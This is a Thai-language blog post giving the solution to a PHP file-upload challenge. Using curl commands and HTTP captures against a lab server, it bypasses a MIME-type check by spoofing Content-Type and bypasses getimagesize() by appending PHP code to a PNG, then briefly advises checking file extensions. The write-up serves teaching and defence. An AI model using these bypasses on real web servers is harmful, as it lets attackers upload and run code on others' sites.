Saturday, December 4, 2010

PHP file upload (เฉลย)

อาทิตย์หนึ่งผ่านไปจาก post เดิมที่ถามไว้ เกี่ยวกับ PHP file upload วันนี้ผมจะมาเฉลย ใครที่อยากทำเองก็อย่าอ่านต่อละกัน

ก่อนที่จะไปดูเฉลย ผมจะให้ดู HTTP request กับ response สำหรับการ upload file ในปัญหานี้ โดยผมได้เปลี่ยนจาก <br /> เป็น "\n" ใน เพื่อให้อ่านง่า่ยขึ้นในนี้

POST /upload.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.1.100/upload.html
Content-Type: multipart/form-data; boundary=---------------------------194488808416516608941591502886
Content-Length: 390

-----------------------------194488808416516608941591502886
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: image/gif

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
-----------------------------194488808416516608941591502886--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 05:32:41 GMT
Server: Apache
Content-Length: 120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Upload: arrow.gif
Type: image/gif
Size: 0.166015625 Kb
Temp file: C:\WINDOWS\Temp\php19D.tmp
Stored in: upload/arrow.gif

ข้างบนเป็นข้อมูลที่เอามาจาก Wireshark และตัวอักษร . ในข้อมูลหมายถึง byte ที่ไม่สามารถแสดงผลเป็นตัวอักษรได้

หลังจากเห็น request จาก Firefox ไปแล้ว เรามาเริ่มเลยดีกว่า ปัญหาที่1 นั้นมีการตรวจสอบเพิ่งแค่ว่า $_FILES["file"]["type"] นั้นเป็นชนิดที่เราอนุญาติหรือไม่
ถ้าเราสังเกต request ของ Firefox จะเห็นว่ามีการส่ง "Content-Type: image/gif" ไปด้วย ดังนั้นถ้าเราลองแก้ค่านี้ดู โดยผมจะใช้ curl (ถ้าใครไม่ถนัด command line ก็อาจจะใช้ Tamper Data ที่เป็น add-on ของ Firefox)

$ curl -0 -F "file=@arrow.gif;type=foo/bar" http://192.168.1.100/upload.php
Invalid file
$
โดยจะมี HTTP request และ response เป็น (จาก Wireshark)
POST /upload.php HTTP/1.0
User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
Host: 192.168.1.100
Accept: */*
Content-Length: 354
Content-Type: multipart/form-data; boundary=----------------------------f627444651d8

------------------------------f627444651d8
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: foo/bar

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
------------------------------f627444651d8--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 06:04:21 GMT
Server: Apache
Content-Length: 13
Connection: close
Content-Type: text/html

Invalid file

จะเห็นว่าคราวนี้ เราส่ง Content-Type เป็น foo/bar แล้ว server ตอบกลับเป็น "Invalid file" ทั้งๆ ที่ผม upload ไฟล์ที่เป็น gif แสดงให้เห็นว่าค่า $_FILES["file"]["type"] นั้นเป็นค่าที่ client ส่ง ไม่ได้เป็นค่าที่ ตัว PHP ทำการตรวจสอบชนิดของไฟล์

เมื่อรู้แล้วว่า PHP เอา type มาจากที่ client ส่งไป ผมจะสร้างไฟล์ php ตามนี้

$ cat info.php
<?php phpinfo();

แล้ว upload file ด้วยคำสั่ง

$ curl -0 -F "file=@info.php;type=image/gif" http://192.168.1.100/upload.php
Upload: info.php
Type: image/gif
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1A3.tmp
Stored in: upload/info.php

เย้ ทำได้แล้วปัญหาที่ 1 :)

เรามาต่อปัญหาที่ 2 กันเลยดีกว่า ปัญหานี้ผมกำหนดให้ type ของไฟล์เป็น image/png แต่คราวนี้จะมีอีกปัญหาหนึ่งคือ

    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }

จาก code จะเห็นว่า คราวนี้มีการลองเปิดไฟล์รูปว่าเป็นไฟล์รูปชนิดไหน ดังนั้นถ้าเราทำแบบปัญหาที่ 1 จะได้ผลลัพธ์ดังนี้

$ curl -0 -F "file=@info.php;type=image/png" http://192.168.1.100/upload2.php
Upload: info.php
Type: image/png
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1AF.tmp
Invalid image file.

จากผลคือ php ไม่สามารถเปิดไฟล์รูปได้ เพราะไฟล์ของเราเป็น php code ธรรมดา ดังนั้นสิ่งที่เราต้องทำคือ ให้ php เปิดไฟล์เราแบบไฟล์รูปได้ และ php สามารถรัน php code ได้ แล้วจะทำอย่างไรละ :S


เวลาเราเขียน php ในหลายครั้งเราเขียนผสมกับ html code โดยส่วนไหนจะให้ php ทำงานก็เปิดด้วย <?php และปิดด้วย ?> โดยจริงๆ แล้วส่วนที่ไม่ใช้ php code จะเป็นข้อมูลอะไรก็ได้ จะอ่านออกหรือเปล่า php interpreter ไม่ได้สนใจ

ดังนั้นถ้าเราเอาไฟล์รูป png มารูปหนึ่ง แล้วแก้ข้อมูลข้างในให้มี php code โปรแกรมเปิดรูปก็จะคิดว่าไฟล์นี้เป็นไฟล์รูปภาพชนิด png (แค่รูปที่เปิดอาจจะเสีย) และเมื่อ php interpreter อ่านไฟล์ไว้ก็จะทำงาน code ที่เราใส่ไว้ข้างใน แต่เนื่องด้วย getimagesize() นั้น อ่านแค่ header ว่าเป็นไฟล์อะไร ผมจะทำแค่เพิ่ม php code ต่อท้ายไฟล์รูปภาพ ตามคำสั่ง

$ ls -l ad.png info.php
-rw-r--r-- 1 worawit worawit 643 2010-12-04 14:46 ad.png
-rw-r--r-- 1 worawit worawit  17 2010-12-04 13:40 info.php
$ cat ad.png info.php > mypng.php
$ ls -l mypng.php
-rw-r--r-- 1 worawit worawit 660 2010-12-04 14:47 mypng.php
$ file mypng.php
mypng.php: PNG image, 16 x 11, 8-bit/color RGB, non-interlaced

คำสั่งข้างบน คือผมเอาไฟล์ 2 ไฟล์มาต่อกัน โดยเริ่มจากรูป ad.png จะเห็นว่าขนาดไฟล์ mypng.php เท่ากับ 2 ไฟล์รวมกัน และเมื่อใช้คำสั่ง file ดูไฟล์ที่สร้างใหม่ขึ้นมา ก็ยัง detect เป็น png อยู่ดี

และเมื่อเราเตรียมไฟล์เรียบร้อยแล้ว ก็พร้อมที่จะ upload ขึ้นไปแล้ว

$ curl -0 -F "file=@mypng.php;type=image/png" http://192.168.1.100/upload2.php
Upload: mypng.php
Type: image/png
Size: 0.64453125 Kb
Temp file: C:\WINDOWS\Temp\php1B3.tmp
Stored in: upload/mypng.php

pwned.. สำเร็จแล้ว และถ้าเราลองเปิดไฟล์ php ที่ upload ขึ้นไปด้วย web browser คุณจะผมว่ามีตัวอักษรที่อ่านไม่ออก แล้วตามด้วยผลของ php code

คราวนี้ก็ถึงวิธีป้องกัน เอาแบบสั้นๆ นะครับ (ขี้เกียจเขียน) ก็คือให้ตรวจสอบนามสกุลของไฟล์ (file extension) โดยอาจใช้คำสั่ง pathinfo() เพราะว่าโดย default ตัว web server จะใช้ php interpreter กับไฟล์ที่มี extension เป็น php แต่ถ้ามีการแก้ไขพวกนี้ที่ web server คุณก็ต้องถาม admin ของ server นั้นๆ เอง

2 comments:

  1. ชอบๆๆ ขอบคุณครับ อย่างเพิ่งลบนะครับอิอิ อยากไห้มีการสอน เรื่องเว็ปมากกว่านี้ครับ เพราะว่า ส่่วนไหญ่สอนแต่ hack client ไม่หนุก อยากไห้มีการ hack web กับ sever มากกว่านี้ครับ

    ReplyDelete
  2. ขอบคุณสำหรับความรู้ ดีๆ ครับ

    ReplyDelete